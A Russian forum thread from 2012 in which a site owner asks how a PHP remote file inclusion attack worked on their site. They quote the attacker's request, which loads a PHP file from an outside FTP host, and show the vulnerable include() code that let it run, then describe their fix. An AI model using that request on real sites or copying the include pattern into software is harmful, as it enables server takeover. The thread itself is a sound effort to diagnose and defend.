|
|
|
Подскажите plz, как здесь работает php injection
|
|||
|---|---|---|---|
|
#18+
на моем сайте сделано условно так URL //<my_site>/index.php?page=xxxxxx $var = filter_var( $_REQUEST['page'],FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_AMP); var простым перебором сравнивается с массивом строк и если сходится, вызывается /<my_site>/var_cnt.php если в массиве $var не находится, но существует файл ,_cnt2.php, тогда переходим к $var_cnt2.php т.е. само значение var никуда не попадает, нигде напрямик не используется столкнулся со взломом в виде запроса //my_sity/index.php?page=ftp://<log>:<pass>@ftp.freehostia.com/tmp.php? там лежит некий хакерский файл и у меня на экране появляется хак-интерфейс доступа к файлам, каталогам и т.д. на моем сайте с заголовком Irc.indoirc.net - #Br4|n что я сделал не так и как защититься ? ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 30.08.2012, 11:18:32 |
|
||
|
Подскажите plz, как здесь работает php injection
|
|||
|---|---|---|---|
|
#18+
krapotkin, телепаты в отпуске. - что значит перебором? - что значит "переходим"? приведите весь где используется $var. от начала до мест где она используется в include() ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 30.08.2012, 11:57:19 |
|
||
|
Подскажите plz, как здесь работает php injection
|
|||
|---|---|---|---|
|
#18+
Код: php 1. Код: plaintext ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 30.08.2012, 12:13:19 |
|
||
|
Подскажите plz, как здесь работает php injection
|
|||
|---|---|---|---|
|
#18+
перебором - это правда, перебором foreach($pages as $value) { if ($var==$value) include $var."_cnt.php" $found=1; } переход - да, лажа. include. if ((!$found)&&(file_exists($var."_cnt2.php"))) include $var."_cnt2.php"; else include no_content.php"; исследования уточнили проблему filter_var() работает не так, как мной ожидалось (кто бы мог подумать))) ) и последний знак "?" отсекал "_cnt2.php" решил все удалением из переданной строки всех не-букв ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 30.08.2012, 12:18:15 |
|
||
|
|

start [/forum/topic.php?fid=23&msg=37936870&tid=1464760]: |
0ms |
get settings: |
8ms |
get forum list: |
14ms |
check forum access: |
2ms |
check topic access: |
3ms |
track hit: |
422ms |
get topic data: |
14ms |
get forum data: |
3ms |
get page messages: |
59ms |
get tp. blocked users: |
2ms |
| others: | 244ms |
| total: | 771ms |

| 0 / 0 |
